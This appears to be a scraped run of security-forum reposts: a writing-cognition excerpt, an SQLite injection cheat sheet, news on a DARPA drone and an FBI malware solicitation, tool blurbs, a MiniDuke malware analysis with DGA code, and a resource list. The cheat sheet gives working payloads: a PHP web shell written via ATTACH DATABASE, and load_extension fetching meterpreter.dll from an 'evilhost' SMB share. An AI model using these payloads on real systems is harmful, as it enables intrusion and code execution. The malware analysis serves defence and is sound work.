of a mental hospital at predicting which patients were going to attempt suicide.” Cognitive Aspects of Speaking & Writing Here are some of the ways in which writing and speech differ: “With speech, much of the communication takes place in ways that do not involve words: in gesture, in tone of voice, in the larger context surrounding the exchange. Speech is a complex audio-visual event, and the implications we draw—the chunks we form—are derived from a whole network of signals. With writing there is nothing but the words on the paper. The result may be as rich as with speech—nobody would accuse a Shakespeare sonnet of lacking richness—but the resources used are far narrower.” “Writing calls for a sharper focus of attention on the part of both producer and receiver. When you and I are conversing, we both can attend to several other things—watching the passing crowd, worrying about some aspect of work, waving away a passing insect—and still keep the thread of our discourse. If I am writing or reading I must concentrate on the text; these other activities are likely to register as distractions.” “The pace and pattern of chunking is very different in the two modes. With speech, one word or phrase quickly supersedes the last,and the listener cannot stop to ponder any of them. What he ponders is the chunk he forms from his perception of everything the speaker is saying, and he is not likely to ponder even that very intensively. He does have the opportunity to ask the speaker about what he has heard (an opportunity almost never available to a reader), but he rarely does so; the spoken medium has enormous forward momentum. In compensation, speech uses a much narrower set of verbal formulae than writing. It relies heavily on extralinguistic cues, and by and large it is more closely tied to a larger context that helps keep the participants from straying too far from a common understanding. In the written medium, by contrast, the reader can chunk more or less at his own pace. He can always recheck his conclusion against the text, but he has little recourse beyond that. All the signals a writer can hope to send must be in the written words.” “A reader is dealing with a finished product: the production process has been essentially private. A listener is participating in a transaction that is still in progress, a transaction that is quintessentially social.” “Partly because of the factors listed so far, writing is capable of more breadth and more precision than speech. Neither complex ideas nor complex organizations would be possible without writing. My own impression is that even in this television-dominated era, people attach more solidity and permanence to something written than to something spoken. Perhaps we have an ingrained sense that the products of speech are more ephemeral than the products of writing. But to achieve this aura of permanence writing sacrifices a sense of immediacy. A writer tends to speak with the voice of an observer, not a participant.” Communicating Knowledge vs News “…. I am building toward an assertion that…..there are correlations between news and the cognitive processes involved in speech on the one hand, and between knowledge and the cognitive processes involved in writing on the other.” Knowledge = “all the scientific and formal statements, all the generalizations, and also all the poetry and art. Producers of such statements are alike in their withdrawal from the ordinary affairs of life to university, laboratory, studio, mountain eyrie, where they write sentences to which other men assent (or refuse to assent), saying, “Yes, this is indeed how things are.”” News = “statements that are significant precisely insofar as the reader is caught up in the affairs and in the life of the island and insofar as he has not withdrawn into laboratory or seminar room.” You can categorize knowledge vs news using the following filters: “Nature of the sentence. Knowledge can in theory be arrived at “anywhere by anyone and at any time”; news involves a nonrecurring event or state of affairs which bears on the life of the recipient.” “Posture of the reader. The reader of a piece of knowledge stands “outside and over against the world;” the reader of a piece of news is receiving information relevant to his specific situation.” “Scale of Evaluation. We judge knowledge ac- cording to the degree it achieves generality; we judge news according to its relevance to our own predicament.” “Canons of acceptance. We verify knowledge either experimentally or in light of past experi- ence. News is “neither deducible, repeatable, nor otherwise confirmable at the point of hear- ing.” We react to it on the basis of its relevance to our predicament, the credentials of the newsbearer (according to Percy, “a piece of news requires that there be a newsbearer”), and its plausibility.” “Response of the reader. A person receiving a piece of knowledge will assent to it or reject it; a person receiving a piece of news will take action in line with his evaluation of the news. (And, I would add, the receiver of a piece of news is more immediately concerned than the reader of a piece of knowledge with the correctness of the information.)” Continue Reading: Thinking & Writing – The CIA’s Guide to Cognitive Science & Intelligence Analysis Sursa: SimoleonSense | Thinking & Writing : The CIA’s Guide to Cognitive Science & Intelligence Analysis
  9. SQLite3 Injection Cheat Sheet posted May 31, 2012, 9:39 PM by Nickosaurus Hax [TABLE=class: sites-layout-name-one-column sites-layout-hbox] [TR] [TD=class: sites-layout-tile sites-tile-name-content-1]Introduction A few months ago I found an SQL injection vulnerability in an enterprisey webapp's help system. Turns out this was stored in a separate database - in SQLite. I had a Google around and could find very little information about exploiting SQLI with SQLite as the backend.. so I went on a hunt, and found some neat tricks. This is almost entirely applicable only to webapps using SQLite - other implementations (in Adobe, Android, Firefox etc) largely don't support the tricks below. Cheat Sheet [TABLE=width: 1] [TR] [TD=align: left] Comments[/TD] [TD=align: left] --[/TD] [/TR] [TR] [TD=align: left] IF Statements[/TD] [TD=align: left] CASE[/TD] [/TR] [TR] [TD=align: left] Concatenation[/TD] [TD=align: left] ||[/TD] [/TR] [TR] [TD=align: left] Substring[/TD] [TD=align: left] substr(x,y,z)[/TD] [/TR] [TR] [TD=align: left] Length[/TD] [TD=align: left] length(stuff)[/TD] [/TR] [TR] [TD=align: left] Generate single quote[/TD] [TD=align: left] select substr(quote(hex(0)),1,1);[/TD] [/TR] [TR] [TD=align: left] Generate double quote[/TD] [TD=align: left] select cast(X'22' as text);[/TD] [/TR] [TR] [TD=align: left] Generate double quote (method 2)[/TD] [TD=align: left] .. VALUES (“<?xml version=“||””””||1||[/TD] [/TR] [TR] [TD=align: left] Space-saving double quote generation[/TD] [TD=align: left] select replace("<?xml version=$1.0$>","$",(select cast(X'22' as text)));[/TD] [/TR] [/TABLE] For some reason, 4x double quotes turns into a single double quote. Quirky, but it works. Getting Shell Trick 1 - ATTACH DATABASE What it says on the tin - lets you attach another database for your querying pleasure. Attach another known db on the filesystem that contains interesting stuff - e.g. a configuration database. Better yet - if the designated file doesn't exist, it will be created. You can create this file anywhere on the filesystem that you have write access to. PHP example: ?id=bob’; ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘<? system($_GET[‘cmd’]); ?>’;-- Then of course you can just visit lol.php?cmd=id and enjoy code exec! This requires stacked queries to be a goer. Getting Shell Trick 2 - SELECT load_extension Takes two arguments: A library (.dll for Windows, .so for NIX) An entry point (SQLITE_EXTENSION_INIT1 by default) This is great because This technique doesn't require stacked queries The obvious - you can load a DLL right off the bat (meterpreter.dll? Unfortunately, this component of SQLite is disabled in the libraries by default. SQLite devs saw the exploitability of this and turned it off. However, some custom libraries have it enabled - for example, one of the more popular Windows ODBC drivers. To make this even better, this particular injection works with UNC paths - so you can remotely load a nasty library over SMB (provided the target server can speak SMB to the Internets). Example: ?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-- This works wonderfully Other neat bits If you have direct DB access, you can use PRAGMA commands to find out interesting information: PRAGMA database_list; -- Shows info on the attached databases, including location on the FS. e.g. 0|main|/home/vt/haxing/sqlite/how.db PRAGMA temp_store_directory = '/filepath'; -- Supposedly sets directory for temp files, but deprecated. This would’ve been pretty sweet with the recent Android journal file permissions bug. Conclusion / Closing Remarks SQLite is used in all sorts of crazy places, including Airbus, Adobe, Solaris, browsers, extensively on mobile platforms, etc. There is a lot of potential for further research in these areas (especially mobile) so go forth and pwn! [/TD] [/TR] [/TABLE] Sursa: https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet
  10. [h=1]DARPA Unveils Hack-Proof Drone[/h] by Kris Osborn on May 21, 2014 The Pentagon’s research arm unveiled a new drone built with secure software that prevents the control and navigation of the aircraft from being hacked. The program, called High Assurance Cyber Military Systems, or HACMS, uses software designed to thwart cyber attacks. It has been underway with the Defense Advance Research Project Agency for several years after originating at the University of California, San Diego and the University of Washington, said Kathleen Fischer, HACMS program manager for DARPA. “The software is designed to make sure a hacker cannot take over control of a UAS. The software is mathematically proven to be invulnerable to large classes of attack,” Fisher said. The mini drone is engineered with mathematically assured software making it invulnerable to cyber attack. Citing the success of mock-enemy or “red-team” exercises wherein cyber experts tried to hack into the quadcopter and failed, Fisher indicated that DARPA experts have referred to the prototype quadcopter as the most secure UAS in the world. “We started out with the observation that many vehicles are easy for malicious hackers to tamper with the software and take control remotely. We’ve replaced all the software with our high assurance software that was developed using the tools and techniques that were invented in the program,” Fisher said. The drone prototype was among more than 100 projects and 29 advanced research programs on display in the Pentagon’s courtyard Wednesday in what was billed as DARPA Demo Day. The HACMS program develops system architecture models, software components and operating system software, DARPA officials said. Vulnerabilities or security issues can arise when drones or other military aircraft are “networked” to one another such that they can share information in real time. Security risks can emerge through network protocols, software bugs or unintended interactions between otherwise correct components, DARPA officials explained. “Many things have computers inside and those computers are networked to talk to other things. Whenever you have that situation, you have the possibility for remote vulnerabilities where somebody can use the network connection to take over and get the device to do what the attacker wants instead of what the owner wants,” Fisher explained. The software tools used for the HACMS program can be adjusted to larger platforms. In fact, DARPA plans to transition the secure software to Boeing’s Unmanned Little Bird helicopter, DARPA officials said. “The software is foundational so it could be used for a large number of systems,” Fisher added. Sursa: http://defensetech.org/2014/05/21/darpa-unveils-hack-proof-drone/
  11. [h=2]MITMER- MITM Testing Tool[/h] Securing the traffic in your network is important to prevent MITM attack that can be used to sniff sensitive information on your network. Some users may require to open sensitive portals of the office to make their work remotely without verifying the security of the network used. if you need to use non trusted network you should enable the VPN to make sure that all your traffic goes encrypted. On the other hand if you decided to run a penetration testing on network then you can use several tools that allows to conduct Man in the middle attack testing and one of them is MITMER. the tool allows to have the following: MITM attack on a specific host or all LAN hosts. Show HTTP and DNS activity of attacked hosts. Fake DNS queries asking about some website and redirects them to your PC. Covert that website into a fake page and host it on your PC. Reveal entered credentials into that fake page. The tool is written in python using Scapy and allows to run ARP or DNS spoofing to redirect users to phishing website and have their credential for GMAIL, Twitter, Facebook or other online service. you can download the tool from this website: https://github.com/husam212/MITMer Sursa: MITMER- MITM Testing Tool | SecTechno
  12. [h=3]PortEx[/h] [h=3]Welcome to PortEx[/h] PortEx is a Java library for static malware analysis of portable executable files. PortEx is written in Java and Scala, but targeted for Java applications. [h=3]Features (so far)[/h] Reading Header information from: MSDOS Header, COFF File Header, Optional Header, Section Table Dumping of: MSDOS Load Module, Sections, Overlay, embedded ZIP, JAR or .class files Mapping of Data Directory Entries to the corresponding Section Reading Standard Section Formats: Import Section, Resource Section, Export Section, Debug Section Scanning for file anomalies, including usage of deprecated, reserved or wrong values Scan for PEiD signatures or your own signature database Scan for jar2exe or class2exe wrappers Scan for Unicode and ASCII strings contained in the file Overlay detection Get a Virustotal report For more information have a look at PortEx Wiki and the Documentation Sursa: https://katjahahn.github.io/PortEx/
      • 1
      • Upvote
  13. At the end of April Microsoft announced that a vulnerability in Word was actively being exploited. This vulnerability occurred in parsing RTF files and was assigned CVE-2014-1761, a thorough analysis of which can be found on the HP Security Research blog. We have since seen multiple cases where this exploit is used to deliver malware and one was particularly interesting as it contained a new variant of MiniDuke (also known as Win32/SandyEva). MiniDuke was first discussed by Kaspersky in March 2013 in their paper The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoorand shortly after in a paper by Bitdefender. Some of the characteristics of MiniDuke — such as its small size (20 KB), its crafty use of assembly programming, and the use of zero-day exploits for distribution — made it an intriguing threat. Although the backdoor is still quite similar to its previous versions, some important changes were made since last year, the most notable being the introduction of a secondary component written in JScript to contact a C&C server via Twitter. The RTF exploit document The exploit document was named Proposal-Cover-Sheet-English.rtf and is quite bland when compared to the documents that were used in 2013, which were of a political nature. We received the document on April 8th, only three days after the compilation of the MiniDuke payload, dated April 5th in the PE header. The payload remains quite small at only 24 KB. The functionality of the shellcode which is executed by triggering the vulnerability is rather simple and straightforward. After decrypting itself and obtaining the addresses of some functions exported by kernel32.dll, it decrypts and drops the payload in the %TEMP% directory in a file named “a.l” which is subsequently loaded by calling kernel32!LoadLibraryA. An interesting thing about the shellcode is that before transferring control to any API function it checks the first bytes of the function in order to detect hooks and debugger breakpoints which may be set by security software and monitoring tools. If any of these are found the shellcode skips the first 5 bytes of the function being called by manually executing prologue instructions (mov edi, edi; push ebp; mov ebp, esp) and then jumping to the function code as illustrated below. The next graph presents the execution flow of this malware when the exploitation is successful. As mentioned previously this version of the MiniDuke payload comes with two modules which we refer to as the main module and the TwitterJS module. Execution flow of MiniDuke [h=1]Main Component[/h] [h=2]Installation[/h] Once MiniDuke receives control it checks that the host process is not rundll32.exe and whether the current directory is %TEMP%. If either of those conditions is met the malware assumes it is run for the first time and it proceeds with its installation onto the system. MiniDuke gathers information about the system and encrypts its configuration based on that information, a method also used by OSX/Flashback (this process is called watermarking by Bitdefender). The end result is that it is impossible to retrieve the configuration of an encrypted payload if analyzing it on a different computer. The information collected on infection has not changed since the previous version and consists of the following values: volume serial number (obtained from kernel32!GetVolumeInformationA) CPU information (obtained with the cpuidinstruction) computer name (obtained from kernel32!GetComputerNameA) Once the encrypted version of the malware is created, it is written into a file in the %ALLUSERSPROFILE%\Application Data directory. The name of the file is randomly picked from the following values (you can find this listing and those of the next screenshots on the VirusRadar description: The filename extension is also picked randomly from the following list: To persist on the infected system after reboots, the malware creates a hidden .LNK file in the “Startup” directory pointing to the modified main module. The name of the .LNK file is randomly drawn from the following values: The .LNKfile is created using a COM object with the IShellLinkA interface and contains the following command: “C:\Windows\system32\rundll32.exe %path_to_main_module%, export_function” Which gives something like: “C:\Windows\system32\rundll32.exe C:\DOCUME~1\ALLUSE~1\APPLIC~1\data.cat, IlqUenn“. [h=2]Operation[/h] When the malware is loaded by rundll32.exe and the current directory isn’t %TEMP%, the malware starts with gathering the same system information as described in the “Installation” section to decrypt configuration information. As with the previous version of MiniDuke, it checks for the presence of the following processes in the system: If any of these are found in the system the configuration information will be decrypted incorrectly, i.e. the malware will run on the system without any communication to C&C servers. If the configuration data is decrypted correctly, MiniDuke retrieves the Twitter page of [b @FloydLSchwartz does exist but has only retweets and no strings with the special tag. As the next step, MiniDuke gathers the following information from the infected systems: computer name and user domain name country code of the infected host IP address obtained from http://www.geoiptool.com OS version information domain controller name, user name, groups a user account belongs to a list of AV products installed onto the system Internet proxy configuration version of MiniDuke This information is then sent to the C&C server along with the request to download a payload. The final URL used to communicate with the C&C server looks like this: <url_start>/create.php?<rnd_param>=<system_info> Those tokens are derived as follows: url_start – the URL retrieved from the twitter account rnd_param – randomly generated of lower case alphabet characters parameter name in the query string of the URL system_info – base64 encoded and encrypted system information An example of such a URL is given below: The payload is downloaded in the file named “fdbywu” using the urlmon!URLDownloadToFileA API: The downloaded payload is a fake GIF8 file containing encrypted executable. The malware processes the downloaded file in the same way as previous samples of MiniDuke: it verifies the integrity of the file using RSA-2048, then decrypts it, stores in a file and finally executes it. The RSA-2048 public key to verify integrity of the executable inside the GIF file is the same as in the previous version of MiniDuke. [h=2]Twitter Generation Algorithm[/h] In the event that MiniDuke is unable to retrieve a C&C URL from this account, it generates a username to search for based on the current date. The search query changes roughly every seven days and is similar to the backup mechanism in previous versions that was using Google searches. A Python implementation of the algorithm can be found in Appendix B. [h=2]TwitterJS component[/h] The TwitterJS module is extracted by creating a copy of the Windows DLL cryptdll.dll, injecting a block of code into it and redirecting the exported functions to this code. Here is how the export address table of the patched binary looks after modifications. This file is then stored in an Alternate Data Stream (ADS) in NTUSER.DAT in the %USERPROFILE% folder. Finally this DLL is registered as the Open command when a drive is open, which has the effect of starting the bot every time the user opens a disk drive. Below you can find the content of the init.cmd script used by MiniDuke to install TwitterJS module onto the system. When loaded, TwitterJS instantiates the JScript COM object and decrypts a JScript file containing the core logic of the module. Prior to executing it, MiniDuke applies a light encoding to the script: The next images show the result of two separate obfuscations, we can see that the variables have different values. This is probably done to thwart security systems that scan at the entry points of the JScript engine. Result of first obfuscation Result of second obfuscation The purpose of this script is to use Twitter to find a C&C and retrieve JScript code to execute. It first generates a Twitter user to search for; this search term changes every 7 days and is actually a match to the real account name, not the Twitter account name. The bot then visits the Twitter profiles returned by the search and looks for links that end with “.xhtml“. When one is found, it replaces “.xhtml” with “.php” and fetches that link. Information about the computer is embedded in the Accept HTTP header. The first link on the retrieved page should contain base64 data; the name attribute of the link is used as a rolling XOR key to decrypt the JScript code. Finally, MiniDuke calculates a hash of the fetched script and compares it with a hardcoded hash in the TwitterJS script. If they match, the fetched script is executed by calling eval(). [h=2] The tale of the broken SHA-1[/h] The code hashing algorithm used by the component looks very much like SHA-1 but outputs different hashes (you can find the complete implementation in Appendix B. We decided to search for what was changed in the algorithm; one of our working hypotheses was that the algorithm might have been altered to make collisions feasible. We couldn’t find an obvious difference; all the constants and the steps of the algorithm were as expected. Then we noticed that for short messages only the second 32-bit word was different when compared to the original SHA-1. SHA1(‘test’) : a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 TwitterJS_SHA1(‘test’) : a94a8fe5dce4f01c1c4c0873d391e987982fbbd3 By examining how this 2nd word was generated we finally discovered that this was caused by a scope issue. As shown below the SHA-1 function used a variable named f: the function Z() is then called which also uses a variable named f without the var keyword, causing it to be treated as a global variable rather than local to the function. The end result is that the value of f is also changed in the SHA-1 function which affects the value of the 2nd word for that round and ultimately the whole hash for long messages. A likely explanation of how this problem came to be is that the variable names were changed to single letters using an automated tool prior to embedding it in the payload. The 2 f variables probably had different names in the original script which avoided the issue. So this leaves us with two takeaways: 1) The difference in the hashing algorithm was unintentional and 2) Always declare your local variables with the var keyword. ;-) [h=2]Twitter DGA accounts[/h] We generated the list of Twitter search terms for 2013-2014 and checked if any of those were registered. At the moment only one exists, @AA2ADcAOAA, which is the TwitterJS account that was generated between August 21st and 27th 2013. This account has no tweets. In an effort to discover potential victims, we registered the Twitter accounts corresponding to the current week both for the main and TwitterJS components and set up tweets with encrypted URLs so that an infected computer would reach out to our server. So far we have received connections via the TwitterJS accounts from four computers located in Belgium, France and the UK. We have contacted national CERTs to notify the affected parties. We detect the RTF exploit document as Win32/Exploit.CVE-2014-1761.D and the MiniDuke components as Win32/SandyEva.G. [h=3]Appendix A: SHA-1 hashes[/h] [TABLE] [TR] [TD]SHA-1[/TD] [TD]Description[/TD] [/TR] [TR] [TD]58be4918df7fbf1e12de1a31d4f622e570a81b93[/TD] [TD]RTF with Word exploit CVE-2014-1761[/TD] [/TR] [TR] [TD]b27f6174173e71dc154413a525baddf3d6dea1fd[/TD] [TD]MiniDuke main component (before config encryption)[/TD] [/TR] [TR] [TD]c059303cd420dc892421ba4465f09b892de93c77[/TD] [TD]TwitterJS javascript code[/TD] [/TR] [/TABLE] Appendix B: DGA algorithms main component DGA import sys import hashlib import datetime from array import * import base64 def init_params(date_time): duke_string = “vSkadnDljYE74fFk” to_hash = array(“B”) for ix in xrange(0×40): to_hash.append(0) for ix in xrange(len(duke_string)): to_hash[ix + 8] = ord(duke_string[ix]) to_hash[0] = (date_time.day / 7) to_hash[2] = date_time.month to_hash[4] = date_time.year & 0xFF to_hash[5] = date_time.year >> 8 return to_hash def hash_data(to_hash): m = hashlib.md5() m.update(to_hash.tostring()) hash_val = m.digest() first_dword = ord(hash_val[0]) | (ord(hash_val[1]) << 8) | (ord(hash_val[2])<<16) I (ord(hash_val[3]) << 24) last_dword = ord(hash_val[12]) | (ord(hash_val[13]) << 8) | (ord(hash_val[14]) <<16) | (ord(hash_val[15]) << 24) new_dword = (first_dword + last_dword) & 0xFFFFFFFF to_append = array(“B”, [new_dword & 0xFF, (new_dword >> 8) & 0xFF, (new_dword >>16) & 0xFF, (new_dword >> 24) & 0xFF]) return hash_val + to_append.tostring() def generate_twitter_dga(date_time): to_hash = init_params(date_time) hash_val = hash_data(to_hash) hash_val_encoded = base64.b64encode(hash_val) dga_len = ord(hash_val_encoded[0]) | (ord(hash_val_encoded[1]) << 8) | (ord(hash_val_encoded[2]) << 16) | (ord(hash_val_encoded[3]) << 24) dga_len = dga_len % 6 dga_len += 7 if hash_val_encoded[0] <= 0×39: hash_val_encoded[0] = 0×41 dga_res = “” for i in xrange(dga_len): if hash_val_encoded[i] == ‘+’: dga_res += ‘a’ elif hash_val_encoded[i] == ‘/’: dga_res += ’9? else: dga_res += hash_val_encoded[i] return dga_res start_date = datetime.datetime.strptime(sys.argv[1], “%Y-%m-%d”) number_of_weeks = long(sys.argv[2]) for ix in xrange(number_of_weeks): print generate_twitter_dga(start_date + datetime.timedelta(days=7 * ix)) [h=3]TwitterJS DGA[/h] function twitterjs_sha1(s) { x = Q(s) z = s.length * 8; x[z >> 5] |= 0×80 << (24 – z % 32); x[((z + 64 >> 9) << 4) + 15] = z; w = Array(80); a = 1732584193; b = -271733879; c = -1732584194; d = 271733878; e = -1009589776; for (i = 0; i < x.length; i += 16) { q = a; f = b; g = c; h = d; k = e; for (j = 0; j < 80; j++) { if (j < 16) w[j] = x[i + j]; else w[j] = Y(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1); t = Z(Z(Y(a, 5), N(j, b, c, d)), Z(Z(e, w[j]), (j < 20) ? 1518500249 : (j < 40) ? 1859775393 : (j < 60) ? -1894007588 : -899497514)); e = d d = c; c = Y(b, 30); b = a; a = t } a = Z(a, q); b = Z(b, f); c = Z(c, g); d = Z(d, h); e = Z(e, k) } return Array(a, b, c, d, e) } function Z(x, y) { f = 0xffff; l = (x & f) + (y & f); m = (x >> 16) + (y >> 16) + (l >> 16); return (m << 16) | (l & f) } function N(t, b, c, d) { if (t < 20) return (b & c) | ((~ & d); if (t < 40) return b ^ c ^ d; if (t < 60) return (b & c) | (b & d) | (c & d); return b ^ c ^ d } function Y(node_base_64, c) { return (node_base_64 << c) | (node_base_64 >>> (32 – c)) } function Q(s) { p = Array(s.length >> 2); for (i = 0; i < s.length * 8; i += 8) p[i >> 5] |= (s.charCodeAt(i / 8) & 0xff) << (24 – i % 32); return p } node_base_64 = new ActiveXObject(‘MSXML2.DOMDocument’).createElement(‘base64?); node_base_64.dataType = ‘bin.base64?; for (var year = 2013; year <= 2014; year++) { for (var month = 0; month < 12; month++) { for (var week = 0; week <= 4; week++) { hash = twitterjs_sha1(” + week + month + year); y = new ActiveXObject(‘ADODB.Stream’); y.Open; y.Type = 2; y.WriteText(” + hash[0] + hash[1] + hash[2]); y.Position = 0; y.Type = 1; // convert the date_seed to Base64 node_base_64.nodeTypedValue = y.Read; y.Close; username = node_base_64.text.replace(/.*([A-Za-z]\w{14})/, ‘$1?).substr(0, 7 + week); WScript.echo(year + ‘-’ + (month+1) + ” week ” + (week+1) + ” : ” + username); } } }
  14. Nytro

    zer0m0n v0.6

    [h=1]zer0m0n v0.6[/h] zer0m0n is a driver for Cuckoo Sandbox, it will perform kernel analysis during the execution of a malware. There are many ways for a malware author to bypass Cuckoo detection, he can detect the hooks, hardcodes the Nt* functions to avoid the hooks, detect the virtual machine... The goal of this driver is to offer the possibility for the user to choose between the classical userland analysis or a kernel analysis, which will be harder to detect or bypass. Actually, it only works for XP and 7 32 bit Windows machines, because of SSDT hooks usage ( :] ), but we plan supporting other OSes. Sursa: https://github.com/conix-security/zer0m0n
  15. FBI is officially looking for malware development The FBI (Federal Bureau of Investigation) has issued a solicitation for malware development confirming the use of malicious code for investigation. The proliferation of malware in the cyber space is not a surprise, according recent reports the number of new malicious code instance is rapidly increasing. State-sponsored hackers and cyber criminals are principally responsible for the spike, the risks are enormous for internet users that in many cases are helpless in from of cyber threats, common security countermeasures like antivirus are not enough to protect their asset online. What do you think about the possibility that malware is designed or spread by law enforcement? There is the concrete risk that users’ PC everywhere on the planet will be infected by malicious code designed by agency like the FBI, law enforcement makes a large use of malicious code during their investigation despite they deny any accusation. The Federal Bureau of Investigation (FBI) is one of the agencies most active in the use of malware and a recent solicitation (RFQ1307B) of DoJ confirms it. “The Federal Bureau of Investigation has a requirement for malware. Please see attached combined synopsis/solicitation for complete requirement.“ The feds recently posted an online listing confirming that the Bureau is looking to purchase malware from a commercial supplier and is now accepting applications. The FBI offers a one-year contract with four one-year options, this is reported in the requirement session: “The collection of malware from multiple industries, law enforcement and research sources is critical to the success of the FBIs mission to obtain global awareness of malware threat. The collection of this malware allows the FBI to provide actionable intelligence to the investigator in both criminal and intelligence matters.” It is requested to the malware supplier to give the FBI about 30GB to 40GB of malware per day through a feed and the feds have to be able also to retrieve the feed directly. Currently exist (or system currently exists that can produce the feed) Contain a rollup of sharable new malware (both unique and variants) Include a malicious URL report (Reference Section 2.3.2) Be organized by SHA1 signatures Be updated once every 24 hours Be a snapshot of the prior 24 hours Be, on average, 30GB – 40GB per day Be able to retrieve feed in an automated way through machine-to-machine communication Initiations of accessing feed shall be pulled by FBI not pushed to FBI Which are the risks? The malware proliferation, from spyware to cyber weapons, could represent a serious problem, F-Secure’s Chief Research Officer Company Mikko Hyppönen at the TrustyCon conference in San Francisco explained that almostevery government is spending a great effort to improve its cyber capabilities. Chris Soghoian, principal technologist with the American Civil Liberties Union, during the recent TrustyCon conference highlighted the possibility that the government will exploit automated update services to serve malware and spy on users. Is this the next surveillance frontiers? Instead to exploit consolidated techniques like phishing and watering hole, intelligence agencies and law enforcement could use application updates to deliver malware on victims’ systems. “The FBI is in the hacking business. The FBI is in the malware business,” “The FBI may need more than these two tools to deliver malware. They may need something else and this is where my concern is. This is where we are going and why I’m so worried about trust.” Soghoian said. Malware proliferation is a serious menace for the cyberspace, I understand the need of law enforcement agencies, but the use of malicious code must be regulated by a globally accepted framework to avoid violation of users’ rights. Pierluigi Paganini (Security Affairs – FBI,malware) Sursa: FBI is officially looking for malware development | Security Affairs
  16. [h=2]Resources[/h] [h=4](Free) Virtual Networks (VPNs)[/h] ChaosVPN: ChaosVPN - CCCHHWiki Gh0st Networks: Gh0st Networks Hacking Lab: https://www.hacking-lab.com/ p0wnlabs: p0wnlabs .:. Welcome to p0wnlabs pwn0: https://pwn0.com/ [h=4]Custom Personal Targets[/h] Hack A Server: https://hackaserver.com/ Hack Me: http://hack.me/ [h=4]Archive/Repository[/h] Security Conference Library: liquidmatrix | jumpoff Shell-Storm.org Repository: shell-storm | Repository [h=4]Books[/h] Assembly Language Step-by-Step: Programming with Linux [iSBN-13: 978-047-04-9702-9]: Assembly Language Step-by-Step: Programming with Linux: Jeff Duntemann: 9780470497029: Amazon.com: Books Brute Force Vulnerability Discovery [iSBN-13: 978-032-1-44611-4]: Fuzzing: Brute Force Vulnerability Discovery: Michael Sutton, Adam Greene, Pedram Amini: 9780321446114: Amazon.com: Books Bug Hunter's Diary [iSBN-13: 978-1-59327-385-9]: Bug Hunter's Diary | No Starch Press Hacking: The Art of Exploitation [iSBN-13: 978-159-327-144-2]: Hacking: The Art of Exploitation Book/CD Package 2nd Edition: Amazon.co.uk: Jon Erickson: Books Metasploit: The Penetration Tester's Guide [iSBN-13: 978-159-3-27288-3]: Metasploit: The Penetration Tester's Guide: David Kennedy, Jim O'Gorman, Devon Kearns, Mati Aharoni: 9781593272883: Amazon.com: Books Operating Systems Design and Implementation (3rd Edition) [iSBN-13: 978-013-142-938-3]: Operating Systems Design and Implementation (3rd Edition): Andrew S Tanenbaum, Albert S Woodhull: 9780131429383: Amazon.com: Books The Art of Exploitation (2nd Edition) [iSBN-13: 978-1-59327-144-2]: Hacking: The Art of Exploitation, 2nd Edition: Jon Erickson: 9781593271442: Amazon.com: Books The Shellcoder's Handbook [iSBN-13: 978-0-76454-468-2]: The Shellcoder's Handbook: Discovering and Exploiting Security Holes: Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan "noir" Eren, Neel Mehta, Riley Hassell: 0785555877092: Amazon.com: Books The Web Application Hacker's Handbook (2nd Edition) [iSBN-13: 978-1-11802-647-2]: The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws: Dafydd Stuttard, Marcus Pinto: 9781118026472: Amazon.com: Books [h=4]Misc[/h] Bug crowd: http://bugcrowd.com/ CTF Time: http://ctftime.org/ CTF365: Capture The Flag 365 Hacker Cons: HackerCons.org - Calendar Hat Force: https://www.hatforce.com/ Intense School: Intense School | IT Training & Free Resources | IT Training & Free Resources SECore: https://secore.info/ Security Distro: SecurityDistro - Security Distributions We Chall: https://www.wechall.net/ WirelessPentest: http://www.wirelesspentest.com/ [h=4]Programming[/h] Codec Ademy: Learn to code | Codecademy Learn Python The Hard Way: Learn Python Learn-c: Welcome - Learn C - Free Interactive C Tutorial PHP - The Right Way.: PHP: The Right Way Rails for Zombies: Code School - Rails for Zombies [h=4]Security Courses[/h] eLearn Security: http://www.elearnsecurity.com/ Hacking Dojo: The Hacking Dojo MDSec: MDSec - On-Demand Training Labs Offensive Security: http://www.offensive-security.com/ Security Tube Training: http://securitytube-training.com/ The Hacker Academy: The Hacker Academy [h=4]Training Material[/h] Blackhat Library: Security101 - Blackhat Techniques - Hacking Tutorials - Vulnerability Research - Security Tools Codecademy: Learn to code | Codecademy Corelan: https://www.corelan.be/index.php/articles/ Hacking Cisco: Hacking Cisco Metasploit Unleashed: http://www.offensive-security.com/metasploit-unleashed/ N00b pentesting: n00bpentesting.com - n00bpentesting Resources and Information. This website is for sale! Open Security Training: Welcome Pentest Standard: The Penetration Testing Execution Standard Router Gods: RouterGods Security Tube: Welcome to SecurityTube.net Sursa: Resources ~ VulnHub
      • 1
      • Upvote
  17. [h=1]Using Genetic Algorithms to Break Things[/h] Few topics have the power to capture the imaginations of computer science undergrads like machine learning. And for many of us, genetic algorithms in particular hold seemingly infinite promise. During your first year or two at school you’re on the verge of solving all of the worlds problems using creatures pulled from your mind and made real by your trusty computer. But then reality sets in, and we become jaded. The awesome AI in the game you’re making -that was going to learn to walk, run, and ultimately outpace the player- just keeps finding physics bugs and getting stuck in walls. And the bots you wrote to manage a simulated hedge fund keep triggering massive selloffs and bringing down the whole virtual economy. By the time we leave school we’ve given up on genetic algorithms. “Cute,” we say, “but too opaque and unwieldy to be used in the real world.” Well, maybe our little creatures don’t do what we want. Maybe they just like to misbehave – and maybe that’s ok. By embracing the stochastic nature of genetic algorithms we can turn them into some of the best validation tools we have. Let loose, these algorithms might try things that would never occur to us humans, and they might expose terrible bugs along the way. So instead of trying to cultivate an AI just like a human player, try changing your fitness function to reward something odd, like collision with walls. And maybe bots that make a bunch of money are overrated, perhaps there’s something interesting to be learned from bots that try to cause massive market fluctuations. I think the real promise of genetic algorithms is in breaking things, not in playing nicely within their virtual boxes. If you’re interested in genetic algorithms and Julia, check out GeneticAlgorithms.jlSursa: https://westleyargentum.github.io/blog/2014/05/18/using-genetic-algorithms-to-break-things/
